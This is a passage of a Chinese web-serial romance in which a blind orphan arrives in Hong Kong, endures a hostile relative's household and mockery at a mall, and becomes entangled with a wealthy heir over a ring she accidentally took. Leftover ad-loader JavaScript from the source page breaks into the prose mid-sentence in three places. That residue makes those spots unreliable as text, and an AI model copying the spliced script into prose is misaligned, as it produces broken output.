中秋这天,黎泱离开生活了十九年的嘉市,独自坐上飞往港城的航班。她走的是特殊通道,全程由工作人员牵引陪护。 “女士,您在飞行过程中有任何需要可以随时按下服务铃。” “好的,谢谢。” 空乘拉上帘子回到工作间。此时还未正式起飞,员工趁着空隙交谈了几句,话题不约而同说到了一个人身上。 “挺年轻的一个小姑娘,长得干净漂亮。可惜啊,眼睛看不见。” “可不是,在那安静坐着真像个洋娃娃。” “一个人坐飞机也没人陪着,家里人怎么放心的......” 唏嘘的对话声透过帘子隐约传出,黎泱只是安静地坐在位子上。她想伸手触碰自己的眼睛,可在碰到脸上纱布的一瞬间又收回了手。 手术已经过了一个月,她的眼睛还是看不见。医生也不能确切给出结论,她到底能不能重见光明。 是意料之中的结果,毕竟已经过去这么长时间。 她甚至早就做好一辈子活在黑暗里的设想。 从嘉市到港城,近三小时的航程里黎泱一直处于昏沉却不敢睡去的状态。 直到听到有人说了句“到维港”了,她才转向舷窗那一侧,摸索着把手覆在了玻璃窗上。 黎泱知道,此刻飞机正在飞跃世界三大良港之一的维多利亚港。它是港城的地标,透过其角便能窥见这座享有世界经济中心赞誉的城市特征。 即使从未亲临,黎泱也能从过去他人的口耳相传中拼凑出关于港城的印象。 纸醉金迷和浮华繁荣——无论怎么看,她都和这座城市格格不入。更不要说让她在这里生活了。 下飞机,依然有专人引着黎泱出关。明明已经过了暑天,但港城的天气还是很湿热,这种触感让初来乍到的黎泱有些不适。 走几步路的功夫,周围充斥着她听不懂的粤语对话。 直到身侧的工作人员说:“女士,您的家人来接机了。” “小泱——” 黎泱听到一阵脚步声慢慢靠近,最后停在了自己面前。她听出了这道声音属于谁,开口说:“舅舅好。” 孟序看着多年未见的侄女,心中百感交集。 黎泱的母亲,也就是孟序的妹妹,当年因为婚事和家里断了关系。在黎泱五岁的时候,父母出车祸身亡,她成了孤儿被送进福利院,一晃十几年时间过去。 如果不是孟序上个月去嘉市出差找到了她,黎泱可能一辈子都走不出福利院。 “路上累不累?先上车,车里有空调。刚好今天中秋,你舅母和表姐都在家里等你回去吃团圆饭。” 黎泱全程表现得很温顺,孟序问一句便答一句。但她心里知道,自己对孟序的关心其实有些无所适从。 “家”这个名词对于她来说,实在是太久远又陌生的回忆了。 对于孟序这个舅舅,黎泱觉得将其定义为“资助人”更合适。 他把自己从福利院接出来,给她安排医生做了手术,又许诺将她接到港城来。 黎泱当然是感激他的。可她从心里觉得,自己并不能真正融入到舅舅所谓的家中。 过去被退养的经历告诫她,面对任何事都要做好希望扑空的预想。 车子停在了一处中高档别墅区。孟序让佣人领着黎泱下车,又问了家里的情况。 “太太刚刚带着小姐出门了,说是......要去中环购物。”佣人看到孟序僵硬的脸色,越说越低声。 孟序早在几天前便交代了黎泱要来港城的事。还特意选在中秋这天,就是想借着团圆的机会欢迎她的到来。 但现在,家里两位女士的做法无疑是在打他的脸。 黎泱不是懵懂无知的人,在福利院那个环境中待了多年早就锻炼出察言观色的能力。尤其在失去视力后,对声音的敏感度更甚。 她听出了对话里的弯弯绕绕。在孟序要打给妻子前开口:“舅舅,我有些累了,可以先去休息吗?” “那我让人带你去你的房间。”孟序欲言又止,补充了一句:“估计是你舅母给你买礼物去了,等她们回来了再喊你。” 黎泱点头笑了下,没说话。 她明白,买礼物是舅舅安慰自己的说辞。舅母肯定早知道自己今天到港城,如果真的重视,怎么会临时去准备礼物呢。 她独自待在房间,很轻地叹了口气。抱着膝盖坐在床上,把脸埋进臂弯里。 没关系的,只是寄人篱下而已。舅舅把她从福利院带回来,已经对她很好了。她也没有资格和底气觉得自己必须受人欢迎。 这么多年不都是这样过来的吗? 只要别再回到福利院,她什么都能接受。 黎泱被对话声吵醒的时候,才意识到自己不知何时睡了过去。她按了下手上的表,听到报时已经是零点。 门外传来孟序压低的声音:“你给孩子立什么下马威?小泱本来就可怜,从小没了父母,现在眼睛又看不见......” “哟,你可别把这么大的帽子压我头上,说得我有多恶毒一样。”许姿拔高音调,像是有意说给谁听: “怎么家里来了一个人,我就连出行自由都没了?这多一张吃饭的嘴,还不比我养条狗呢。” “再说我今晚带着今妍出去,还不是为了你那公司的宴会做准备。新上任的那位是沈家刚回国的二少,当然要重视......” “好了,赶紧回屋睡觉吧。” 对话声渐渐变弱消失,黎泱却是再也睡不着了。 第二天六点,生物钟准时叫醒黎泱。房间内有个小卫生间,她昨天记住了洗漱用品的摆放位置,收拾好自己后却没立刻出门,而是安静地坐在房间里。 直到过了一个多小时听到楼下有动静传出,她才起身摸到门把手,恰好有人敲门进来。 “黎小姐,你起来了?我带你去楼下用早餐。先生刚出门去公司,只有太太在。” 说话的是佣人小梅,孟序交代让她照顾黎泱。小梅领着黎泱落座,又为她布置好餐点。 许姿坐在餐桌另一侧,眼神挑剔地打量了黎泱几个来回,最后目光停在了她脸上那块蒙住眼眶的刺眼白色纱布上。 一副病恹恹又毫无存在感的样子,她心想。 想到孟序昨晚的嘱托,许姿这才不情不愿开口:“昨晚睡得怎么样?” “谢谢舅母关心,都很好。” 黎泱仿佛根本没听到昨晚的对话,态度温顺地让许姿听出了讨好的意味。她这才满意地点了点头。 用过早餐,许姿回楼上补觉。黎泱拜托小梅领她去院子里坐一会晒太阳,这是她在失明后唯一能“感受”到光的方式。 孟今妍出门时恰好看到这样的场景:穿着朴素长裙的少女仰头坐在长廊下,安静无声。旁边摇曳的树影散在她身上,平添了几分灵动。 她这才想起来,这人应该就是昨天没见到的黎泱了。 孟今妍下午约了人购物,想到孟序昨天给她卡时特意交代了让她关照这个表妹,带她熟悉港城。于是过去叫了黎泱一声,也没等她同意不同意,直接把人带上车了。 到了商场,孟今妍的姐妹团一见到黎泱,注意力都放到她上。 “你点带个瞎子嚟啊?” “边家嘅,以前冇见过啊。” 黎泱听不懂她们在说什么,有些茫然地站着,但从语气判断大概也不会是友善的话。 看她这样,起哄的人更来劲了,像发现了什么趣事:“傻子咩?佢唔懂粤语啊。” 说着,还要上手去扯黎泱遮住眼睛的纱布,想要判断是真瞎还是装瞎。 周围人都在哄堂大笑看热闹。孟今妍在镜子前试裙子,完全没有要插手的意思,反而追问她闺蜜哪条裙子更好看。 黎泱隐约意识到那人的举动,偏过头去想要躲避,却还是晚了一步—— 脸上的纱布被扯掉,她的眼睛完全显露在了空气中。 刚才还嬉笑的人群一下子安静了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黎泱不是先天失明,而是后天意外造成的视觉功能障碍。 她的眼睫长而密,浓如鸦羽。眼帘弧度柔和优美,眼尾微翘细长,右下眼睑处还有颗泪痣。 即使乌黑的瞳孔没有焦距,但依然掩盖不了它的美丽。像蒙尘的明珠和未出鞘的利剑,只等重见天日的那一刻。 人群中不知谁嘀咕了一句:“唔系丑八怪啊......” 孟今妍的眼神这时才一变,走过去打发了众人,揽着黎泱的肩将人带到了休息室。她把刚才掉在地上的纱布递到黎泱手中,说:“不好意思啊,她们玩闹惯了。” 黎泱抿了抿嘴唇,摇头低声说:“没事。” “那你......晚上不会和我爸说吧?” 得到肯定的回答后,孟今妍才放下心来。她叫人给黎泱送来一杯饮料,重新出去和姐妹聊天了。 “所以刚才那个是你爸的外甥女?我还纳闷你身边什么时候有个瞎子跟着了。” “按我妈的话是来打秋风的。不说这个了,你们快帮我看看后天这套打扮行不行,我纠结了好久。” “哎呀,这裙子也就只有你能撑得起来,自信一点咯。” 孟今妍皱眉:“我怎么能放心。沈家那位刚回国,消息出来不知道多少人起了心思。如果不是因为我爸的职位,我也没机会参加宴会见他一面。” 姐妹团聚在一起琢磨了半天,最后给孟今妍出了个主意。“总要有个陪衬才能对比突出你......” . 黎泱对外面的密谋毫无察觉。 她正端坐在休息室里手捧一杯饮料,低头闻了一下,小心翼翼要往嘴边移—— 下一秒,听到隔壁突然传来女声:“你真的不给我买?” 紧接着响起一道男性嗓音,带着好听的磁沉的质感,但是说出的话却实在令人心寒: “不买。” 偷听不礼貌,黎泱刚准备咳嗽一声提醒对方这里有人。 结果又听见女生声音委屈地说:“一年多没见,我给你打过那么多电话发过那么多消息,知道你回国还亲自去机场接你。凭我和你的关系,你却连我一个小小心愿都不肯满足......" 黎泱忽然觉得手里的饮料不诱人了。 听女生的这段描述,两人的关系明显不一般。那这个男人也太冷漠和小气了吧? 隔壁休息室内,沈汀仪背过身假装抹眼泪,实则对着手机在念“三句话让男人为你花钱”。 她感情丰沛地念完,自信等着自己亲哥的反应。 就她刚才的这番表演,谁听了不觉得委屈可怜!所以她哥可千万别让自己失望啊,快刷卡给她买下这个C家百年纪念款全球限量包包吧—— “我刚才验证了一件事。” 沈汀仪:嗯? 怎么和她预想的回答不一样? 她不解地转身,看向坐在沙发上的那道人影。 沈有容好整以暇,唇角漫不经心扬起一抹弧度。他神态慵散,似笑非笑间盯着沈汀仪,说出了下一句话: “没送你学表演是对的。” 沈汀仪:“......” 沈有容在暗讽她! 不对,这就是明晃晃的嘲讽啊! 她正准备为自己争口气正名,结果还没来得及开口,忽然听到了旁边房间响起一道清亮动听的嗓音: “还,还男人呢,这么小气,连给自己女朋友花钱都舍不得!” . 黎泱丢下一句话就匆忙离开,中途还失手把手里的饮料打翻了。到最后她也没尝到究竟是什么味道。 好在孟今妍的心思不在她身上,没问这一茬。回去的路上,她状似随意问黎泱:“你的眼睛还能恢复吗?” 黎泱因为刚才当了一回“热心路人”正心乱如麻,听到孟今妍的话模糊回答说:“不知道,医生也没有确切的把握。” 孟今妍“哦”了一声,不知道在想什么。过了半响又说:“反正你没事,过两天和我去个地方。” 5. 不夜5 5 手机铃声响起的第三秒,被一双骨指分明的手接通。 沈有容拉开浴室的门,径直迈步走进衣帽间。管家项怀英早已等候多时,领着佣人带着准备好的衣服站在一边。 “喂,大哥。” 沈有容递了个眼神,管家立刻会意,让人放下衣服后带上房门离开。待人走后,沈有容靠在飘台上,反手撑着桌角,余光扫了眼放在旁边的衣物。 “还没出发?你是今天的重客,现场那么多人都等着你出面呢。” 听到大哥的话,沈有容轻笑了一声:“说得我像压轴出场的公主一样。” 他将手机搁在桌面上,解开浴袍换衣服,从上往下一颗一颗系着衬衫的纽扣。 锁骨上方那粒纽扣却是最后才系上的,合拢收束后,紧贴勾勒出流畅修长的颈线。 沈有容继续回答电话那头:“十分钟后出发,过去二十分钟车程。” 这是个既不会迟到,又没有给其他人留机会和他攀谈的时间。 暗中表明了沈有容对这场宴会的态度。 大哥自然听出了他的话中意,却没点破。交代了几句后便挂了电话。 沈有容略过那条备好的深蓝色斜纹领带,拉开了柜子上层抽屉。 抽屉底部铺着一层厚重的黑色鹅绒布,上面依次陈列着几十枚风格不同的戒指。 类型从扳指到尾戒,戒托款式从爪镶到隐镶,附有各色点缀的夺目宝石。如果此刻有出入拍卖行的资深买手在场,一眼就能认出其中一枚戒指正是上个月在苏富比被匿名买家以两千万港币拍下的。 这时沈有容的一个爱好——收藏戒指。 他收到的第一枚戒指来自祖父,是五岁学习射箭时为了防止拉伤戴在大拇指上的玉石扳指。自那以后渐渐养成了收藏的习惯。 沈有容从抽屉中随手取了一枚推到了左手食指上,拿起西装外套,推门而出。 楼下,项怀英已经将车开来,语气无可奈何道:“少爷,今天是你在恒天正式露面出任,这种场合怎么能不打领带......” 项怀英今年五十六,是沈有容的贴身管家,陪在他身边已经二十多个念头,自问十分了解对方。 沈有容不喜被约束的感觉,西装更是很少上身。让他在“时尚”和“舒适”中选,他一定会毫不犹豫选择后者。 因此项怀英提前预料到了他的做法,特意把领带放在了最显眼的位置。 但结果还是显而易见。 沈有容闭目坐在后座,淡淡道:“本来也就没有要出席的打算。” 沈家这一代有三个孩子。长子沈闻时是外界心知肚明的接班人,为人端方沉稳,能力手段不凡,早已进入家族集团任事。 有沈闻时接下继承人的位置,自然分去了下面弟妹要承担的责任和压力。 次子沈有容在英国留学时没和外界设想的一样攻读金融领域,反而学的是让人意外的数学。期间甚至还跑去修了一门社会学的学位。 三小姐沈汀仪更不用说,作为最小的孩子和唯一的姑娘,集全家注意力和宠爱于一身。 按照她的原话,就算天塌了也有两位个子高的兄长们先去顶。 虽然当时沈有容回了她一句:“不如拿你那一屋子的包去顶,堆起来可比人高。” 沈有容回国后原本打算继续从事专业研究方向,结果被沈父和大哥统一战线,丢到集团下属的子公司任职。 还美曰其名实行“轮转制度”,意思是几个月换一家公司,直到把家族旗下的所有子公司轮完—— 然后,直接调去总部集团。 他起初并未在意,直到集团的文件下来才意识到并非自己所想的那样。 沈有容见父亲和大哥两人态度坚决,索性放任了由着他们折腾。内心早已打定了主意,过段时间便找理由打消了他们的念头。 所以从头到尾,他对今天这场就职宴会就没有表现出半分兴趣。 项怀英见劝不动,暗自叹了口气专心开车了。 二十分钟后,车子停在了目的地。 . 黎泱尽职尽责当了半天木头人,感觉腿都要站不直了。 孟今妍口里“和她去个地方”,就是带她参加孟序公司的一场典礼去见一个人 而黎泱的任务就是站在一边,包括但不限于:时刻保持微笑、在别人问到她的身份时安静等孟今妍和许姿开口回答,然后点头赞许,顺带说一句: “舅母和表姐非常照顾我。” 到底要站到什么。 孟今妍要等的那个人怎么还不出现啊可恶。 黎泱一边在心里自我催眠,一边给那位“耍大牌迟迟不出现”的贵客打了极低的印象分。 她想:全场这么多人都在等你一个,这么重要的场合竟然不提前出现? 又不是最后乘着南瓜马车压轴出场的惊艳众人的灰姑娘。啊,这人不会真把自己当成公主了吧。 “应该是等不到了。刚刚听工作人员说沈二少直接去了后台,没有从正门进。” 许姿从工作人员那里得到消息后,压低声音告诉了孟今妍。孟今妍听了郁闷得不行。 亏她在大厅站了这么久,就准备在沈有容面前刷一波印象好感。结果呢,人家压根连半个影子都没出现。 孟今妍再转头看向旁边还维持着笑容的黎泱,暗想这人可真是软柿子。到现在还能傻不拉几地站着微笑。 “好了,我让人带你去休息,等会宴会开始你也不用凑热闹了。” 孟今妍的话正中黎泱下怀,她求之不得想要快点离开。 大厅内传来动静,到了典礼正式开始的时间。孟今妍赶着过去和许姿汇合,随手招来一位路过的接待员,把黎泱交给了她。 听到高跟鞋的脚步声慢慢走远,黎泱才松了口气卸下了伪装。嘴角不用再刻意扬起讨好的笑容。 她对接待员说:“能麻烦你带我去外面透透气吗?” 在室内待到现在,还要抽出精力配合孟今研搭台演戏,黎泱觉得胸腔有些发闷,想找个通风的地方待一会。 接待员想到顶层有个露天平台,便把人带了过去。到了地方后小心翼翼盯着黎泱,生怕她出了什么意外。 她悄悄打量着黎泱:看身形不过二十出头,脸上的白色纱布严丝合缝遮住了眼眶,也挡住了外界窥探的目光。 但从其余的五官来看,无一不昭显黎泱是美的。这样就越发让人好奇她的眼睛,怀疑究竟是点睛之笔还是毁了一张脸的缺陷。 黎泱忽然开口:“天台上有护栏吗?” “有的。” “是在我的什么方位?” “啊,在你的右手边。大概,十几米的样子。” 黎泱心头微动。 接待员不明所以,陪她待了几分钟。直到收到步话机的传讯,领班让她去楼下帮忙。 她担心把黎泱一个人留在这里不安全,于是说:“我需要离开一下,先把你送到楼下可以吗?” “不用麻烦,我想再坐一会。放心,我不会乱走动的。” 黎泱抬头,给予对方一个值得信任的笑容。“我保证。” 露台上只剩下了黎泱一人。 她安静坐了会,感受到风吹乱了自己的头发,伸手把吹乱的发丝拨回了耳后。 右手边,距离十几米的位置,是护栏。 这栋大楼的楼层最少在二十层往上,也就是六十米。 这个高度掉下去,用头破血流来描述都算轻的了。 黎泱起身,往右边迈了几步。 成年女性一步的距离大概是半米。所以以她现在的位置—— 她伸出手,指尖刚好堪堪碰到了一处金属栏杆上。 . “哐当——” 是酒杯摔碎的声音。 沈有容闻声回头,瞥了眼身后的人群,视线从惊慌失措的孟今妍身上一扫而过。 不曾分神停留一瞬。 孟序无可奈何地看着孟今妍,让她赶紧离开,然后自己匆匆跟上沈有容的脚步。 “沈总,是这样的。公司内部有些信息需要由我向您汇报......” “你说的是非可视化的信息?” 沈有容脚步未停,单手解开了领口最上面的那颗纽扣。看得项怀英在旁边无奈摇头,又在心里自我安慰:好歹撑到了发言结束,不错了。 孟序听到沈有容的反问,下意识一怔,反应过来才点头:“......确实不是数据方面的,是公司内部的一些——” “利益团体之间的关系。” 沈有容帮他找了个贴切的词。 孟序在心里直擦汗:“是,沈总你说的对......” “既然是非可视化非数据化的信息,说明重要等级也不急于这片刻了。”沈有容停下,把问题重新抛给孟序:“孟经理,你觉得呢?” 进了电梯,项怀英才开口:“少爷,你刚才明明看出孟经理的意思但还是推辞了。可这任职毕竟是先生的意思,你这么做恐怖不太好。” 沈有容掀起眼帘,轻描淡写: “谁说的,我可没有看出。” “只是不想继续待在这里,随口编了一个理由。” 项怀英:“......” 他满脸不相信的表情。 信你?亏你还修了门社会学呢。 然而刚出电梯,就有工作人员急忙跑来:“媒体得到消息要采访沈总,外面堵得水泄不通,一时半会也驱散不了。” 沈有容点头,脸上没什么异样。他对项怀音说:“你先开车回去,那些记者会以为我也在车内。等人散了再派车来。” 交代完,沈有容重新退回电梯,按了顶层的按钮。 他原本是看中了顶层天台安静没人好打发时间。结果刚推开天台的门,下一秒,他的视线里出现了一道白色的身影,正一步步朝护栏的方向走去—— 沈有容瞳孔微缩。 他快步上前拉住了那人的胳膊,将她带离了护栏。沈有容眉头微蹙,这时才看清她脸上 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 缠着的纱布。 一个看不见的人还非要凑到护栏外。 任谁心里都会蹦出消极的想法。 “你打算做什么?” 黎泱被突如其来的力道拽得一懵,茫然循着声音的方向抬起来。 她辨听得出,这声音带着一丝不易察觉的愠气质问。 但是,好像又意外有点耳熟。 她才初到港城没几天,统共也没见过多少人,会在哪里听过? 黎泱没有多深究,注意力都放在了眼下的情况上。她猜到可能是自己刚才的行为被对方误会了,于是解释说: “我只是想过去摸一下栏杆,没有要跳楼的想法。” 她说着,想把自己的胳膊从那人手中抽出。 黎泱从一开始就没有那么傻的念头。 站到护栏边,也只是想起了五年前刚失明的时候。 那时候她刚拿到市里最好的高中录取名额,还被一对夫妻看中要收养。可就在黎泱觉得自己要触摸到光明未来的瞬间,泡沫破了。 黎泱觉得自己的人生完了,满是黑暗没有一丝希望。 再活下去没有任何意义,不如了解算了。 她凭着记忆迈上了福利院楼顶那个堆满空调外机的破败天台,站到了岌岌可危的生锈护栏旁。 五年过去,黎泱心境早就不同了。她刚才朝护栏走去,真的纯粹是想摸一下,感慨当年自己的举动罢了。 但她的解释在外人看来明显没有说服力。 沈有容察觉到黎泱想抽出胳膊,手上的锢力又加重了几分。 黎泱觉得有些莫名其妙,一只手动不了,只能伸出另一只手也去扒拉,胡乱碰到了男人指尖的一个圈状物体。 她心想这人这么固执该不会是坏人的时候,听到对方又说: “跟我离开这,或者我现在报警。” 刚才慌乱中黎泱没心思去注意男人的声音,现在冷静下来又面对面离得这么近,突然想明白为什么会觉得耳熟了。 是孟今妍带她去购物的那天,她在休息室听到隔壁一男一女的对话。 而那道男声,正属于面前这个人。 ——那不就相当于她背地说人坏话,现在刚好被人逮个正着?! 港城,还真小。 还好,还好现在应该还没认出自己。 她还是保持沉默好了。 沈有容正打给酒店让人上来,忽然发现黎泱不挣扎了,安静又老实地站在了原地。 “现在离开这?” 黎泱不说话了,点头算是回应。 沈有容本来就没有多管闲事的心,也没打算浪费时间在这看着黎泱等酒店派人上来。刚才项怀英给他发了消息,外面的记者已经散去,所以他选择带着黎泱一起下楼。 他低头回完消息,才发现人没跟上来。回头一看,黎泱因为看不见方向,正小步伸手试探地往前走。 “手。” 黎泱以为是自己不小心碰到了他,赶紧收回手往旁边挪了两步。 沈有容眉心闪过一丝无奈:“手扶着我。” “但如果你一想摔倒,我没有意见。” 几秒过后,在看不见摔倒和被认出报复之间,黎泱咬牙选择了前者。 至少对方现在还没认出自己。 而且摔倒也是真的疼。 不知道楼下的典礼结束了没有,她也该回去了。 隔着一层蚕丝衬衫布料,黎泱扶住了沈有容的手臂。 沈有容微不可闻地瞥了眼身侧的女孩,她身上被风吹起翻飞的白色裙角擦过他的黑色西裤,颜色对比格外显眼。 偏偏衣服的主人毫无察觉,身体和沈有容的间距仅有几厘米,瓷白的手掌还搭在他的手臂上。 裙角翻飞,发丝也随风扬起,在沈有容鼻尖萦绕着一丝若有若无的淡淡香气。 他不动声色拉开了和黎泱的距离。 出电梯后黎泱准备道谢离开。正准备压低声音再开口的时候,就听到了孟序的声音: “小泱?你怎么......” 黎泱下意识松开一路扶着沈有容的手,“舅舅,是我刚才迷路了。遇到了路过的好心人帮了我。” 孟序赶忙把黎泱拉到身边,问了她有没有受伤。之后对沈有容说:“感谢沈......” “没事,恰好路过。” 沈有容打断了孟序,反问:“这位是——” “是我的侄女,才到港城没几天。她不爱说话,比较内向安静。” 似乎是听到了什么特别字眼,沈有容哦了一声,意味深长说: “看出来了,是挺不爱说话的。” “不像某些会随口伸张的热、心、路、人。” 黎泱站在旁边,心惊了一瞬。 回去的路上,孟今妍和许姿母女闷闷不乐,没了来时的昂扬斗志。孟序在前面开车,也没有提起刚才的事。 黎泱靠在后座上,把手伸进口袋里,忽然身体一僵—— 她摸到了一个圈状物。 6. 不夜6 6 晚上。 黎泱在床上躺了半个小时,翻来覆去还是睡不着。最后索性直接坐起,拉开床头柜的抽屉,从最里面摸到了一枚戒指攥在手心。 白天从酒店回来的路上,她意外发现这枚戒指出现在了口袋里。 思来想去也就只有一个可能了。 肯定是和那人拉扯的过程中,她不小心把人家的戒指给挣了下来。 当时又脑子混乱在想别的事,压根没发现手里多了样东西,随手塞到了口袋里。 虽然看不见,但黎泱还是能凭触觉对这枚戒指有了大致的轮廓印象。摸起来很有质感,还有上面这个方型镶嵌的物体—— 一个不可置信的念头慢慢浮现。 这不会是......真的钻石吧? . 第一个发现沈有容手上戒指不见的人是项怀英。 刚回到家,项怀英就接到了沈有容母亲的电话,听她问起了今天就职典礼的事。 在听到沈有容没打领带出席的时候,沈夫人开心的笑了下,在电话那头不知道和谁说了句:“你看,我打赌赢了。” “也就只有你热衷这种事,赢了能这么开心。”项怀英听出这是沈父的声音。 他继续汇报:“配饰方面,带了Breguet的腕表,还有枚......嗯?” 项怀英一顿,迟疑地看向了沈有容空无一物的手指。 “丢了。” 沈有容坐在沙发上翻看杂志,双腿自然交叠,闻声未抬头,风轻云淡给了解释。 项怀英一时之间竟分不清他这是在开玩笑还是真回答。 下一秒,听见沈有容翻了页书,又说了一句话: “倒挑了个最贵的。” . 黎泱此刻觉得手里的戒指像烫手山芋。 她在脑海里一会神游:他竟然能买得起钻石为什么会舍不得给女朋友买个包?一会又紧急刹车:她现在把人家的东西带回来了,还是个贵重物品。虽然是无心之举,别人会不会以为自己是小偷? 内心正天人交战之际,黎泱忽然听到了房门把手转动的声音。 她下意识躺回床上,就听到了孟今妍的声音:“嗯?这么早就睡了?” 黎泱表现得像刚被吵醒,迷迷糊糊发问:“怎么了表姐,你找我有事?” “我刚才听我爸说,你白天在酒店迷路,是被沈二少送下来的?” 孟今妍开门见山,直截了当说出了缘由。 白天的就职典礼并没有持续太长时间,沈有容的发言甚至不到五分钟,结束后便立刻离席。孟今妍急匆匆追上去,结果在路上撞到了服务员托盘上的酒杯。 她到现在都忘不掉沈有容当时的眼神,眼底没有一丝波澜,甚至脚步都没有停顿。 那完全完全是看向无关紧要陌生人的表现。 本来孟今妍还可以自我安慰:像沈家那种豪门出身,身居高位不屑应对他人是意料之中的事。 但从孟序口中听到沈有容竟然亲自领着黎泱那个瞎子后,她心里不平衡了。 黎泱听到孟今妍话里的“沈二少”,一时还没有反应过来这个称呼。 见到她这副茫然的样子,孟今妍一哽,诧异道:“你不知道他是谁?” “拜托,这你都不知道?” 直到听完孟今妍的介绍,黎泱才把人和事对上。 然后后知后觉,心里又是一凉: 这么说,她在天台上遇到的那个人,是港城顶级豪门沈家的二少爷沈有容? 再联想到了临走前沈有容那句饱含深意的“热心路人”,这不就是在暗示黎泱,他已经认出了她。 她把人家的戒指给“偷”了。 哦,还被认出自己阴阳过他。 一时之间,黎泱感觉本就看不见的人生暗了又暗。 黎泱这一晚睡得极不好。 她做了半宿乱七八糟的梦,梦里一直有东西在追自己。她跑到穷途末路的时候转身,发现是枚巨大无比闪着亮光一看就价格不菲的戒指。 头顶上方还悬着一串天文数字。 黎泱怎么数都数不完。这时空中传来一道声音:“你打算怎么赔?” 她直接从梦中吓醒,发现自己出了一身冷汗。 果然做了错事就问心有愧。 黎泱从枕头下摸出那枚戒指,恨不能当场吃了后悔药回到昨天,她打死不会再去天台了。 不,应该是回到被孟今妍拉去购物那天。她再也不要一时上头充当“热心路人”了。 她深觉这戒指必须要早点还回去。唯一能想到的办法就是托孟序送到酒店去,沈有容发现戒指丢了后一定会回去找。 最重要的是避免了和沈有容正面接触。 打定主意,她便准备趁着早饭时间找到孟序。可等到下楼才被小梅告知孟序一大早就去了公司。无奈,只能等晚上再找机会。 许姿出门打牌去了,孟今妍还没醒。直到临近中午才被许姿一通电话叫起。 “喂妈,什么,让我去爸公司送东西?” 孟序几个月前升职,现在晋升到了公司的管理层,这本来是件高兴的事。 但许姿被茶话会太太团传递的“男人有钱就会变心”的话给影响。最近总是疑神疑鬼,怀疑孟序早出晚归是不是有什么动作。 所以她才打发孟今妍借着送下午茶的名义,去查孟序的班。 “妍妍听话,东西我都已经订好了。你记得打扮得漂亮点,要是遇到了沈有容,还能在他面前刷刷脸。” 孟今妍这才不情不愿答应下来,挂了电话翻箱倒柜试衣服。等她从房间出来让人备车的时候,刚好被路过的黎泱听见了。 黎泱觉得这也许是一个机会。 因为其实说到底,她也在犹豫是否应该把戒指的事告诉孟序。 沈有容的身份不一般,而且现在又是孟序的上司。联想到昨天在酒店时他对沈有容谦恭的态度—— 黎泱没有把握去赌孟序会就戒指的事站在自己这边。 他会不会担心沈有容因为戒指的事而迁怒孟家?会不会放弃她再把她送回嘉市,就像15岁那样遇到的那对养父母一样。 黎泱没有赌的资本和勇气。她不能冒险,也输不起。 孟今妍要去公司,刚好给她提供了一条新的思路。 如果能直接把东西交给前台,让前台转交到沈有容手上,就能绕过孟序和其他人返还戒指。 否则夜长梦多,黎泱怕今晚还会做噩梦。 恰好孟今妍担心自己一个人去会太突兀而没底气,巴不得找人和自己一起。依她来看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,黎泱算是一个合适的人选: 默默无闻又存在感极低,就算五官漂亮但目前还是个瞎子。根本不会喧宾夺主越过她。 就这样,两人一起上车到了恒天公司。确实如许姿所说她早就准备好,给全公司都定了下午茶。这其中当然也包含了沈有容的那一份。 会不会接受是一回事,有心考虑制造机会又是另一回事。 孟今妍让秘书去分给其他员工,自己单独提了两份。黎泱当然明白她的心思,主动提出:“我怕添麻烦,就不去了表姐。” “那行,你就在这等我。” 黎泱点头,乖巧坐在了等候区的沙发上。她在心里数了五分钟,确定孟今妍短时内不会回来。 她伸手摸了下口袋里的那枚戒指,准备叫住一个路过的人,拜托对方将自己带去前台。 恰好耳畔传来了脚步声。 “你好,请问能不能麻烦您一下?” 项怀英原本来公司替沈有容送一份文件,被突然叫住,转头疑惑朝着黎泱的方向看过去。 在注意到她的眼睛后心中闪过一丝惋惜,就像世人感慨断臂维纳斯的残缺一般。 “女士,你有什么事吗?” “我有一个东西要交到前台手里,想请你带我过去。不知道您方不方便。” 项怀英没有多想答应下来,将黎泱带去了前台。他在黎泱和前台交谈的时候站在一边,忽然间眉头紧锁。 因为他看到黎泱从口袋里拿出了一枚熟悉的戒指。 如果项怀英没看错的话,戒指的主人应该是沈有容。而昨天沈有容恰好说戒指丢了。 那么,现在怎么会出现在这个女生的手里? 当被问到要交给谁时,黎泱说出了沈有容的名字。前台认出项怀英是沈有容的管家,当即下意识看向了他。 项怀英摇了下头,前台明白了意思没有往下追问。 黎泱终于送走了烫手山芋,感慨今晚能睡好觉的时候,听见项怀英说:“我想起有个文件要去送,等结束了再送你回等候区可以吗?” “不用再麻烦您,我可以再找......” “离这里很近,而且旁边有茶水室你可以休息吃点东西。” 黎泱刚要拒绝,肚子小声提出了抗议。她从家里离开的时候还没有吃午饭,孟今妍也根本没想过要给她留一份下午茶。 见项怀英这样说,黎泱也没有再推辞,跟着他去了茶水室。果然有工作人员准备了蛋糕茶点。 门外,项怀英转身去了另一个方向。 . 没过多久,黎泱听到茶水室的门被人从外推开。 她放下手里的糕点,以为是项怀英回来了,于是问:“我们可以回去了吗?” 话音落下,没有得到回复。 倒是脚步声更近了几分。 失去视力后,黎泱的听觉变得比过去要敏锐。她听出来这并不是项怀英的脚步声。 黎泱猛然站起,伸手摸到了桌子上刚才用来吃蛋糕的叉子。 最终,脚步声停在了距离她几步远的位置,没有再靠近。 黎泱心中悬而未决,不清楚来的人是谁有什么目的。内心忐忑要质问之际,听见对方先一步开口了。 “既然要物归原主,为什么不敢直接交到我手里。” 7. 不夜7 7 “黎、泱。对么。” 那人开口的一瞬间,黎泱就认出是沈有容的声音。 他的嗓音声线起伏平稳,带着点失真的颗粒质感,听起来分外磁沉。得天独厚的音色,当他一字一顿说出黎泱的名字时,落在外人眼中仿佛是在缱绻念着情人的名字。 但当事人黎泱只觉得内心泛起战栗。 好比前脚刚以为万事大吉,后脚债主又追上了门。 而且这次,沈有容明显调查过了她,知道了她的名字。 短短几秒钟时间,黎泱心里已经闪过了无数念头。 完了,沈有容还是来报复她了。这次是新账旧账一起算。 沈有容站在她对面,观察到黎泱的脸色很快转为苍白。握住叉子的那只手还在紧紧用力,像处于高度紧张状态。 他像发现了什么兴趣,饶有意味地盯着黎泱: “你怕我?” “......” 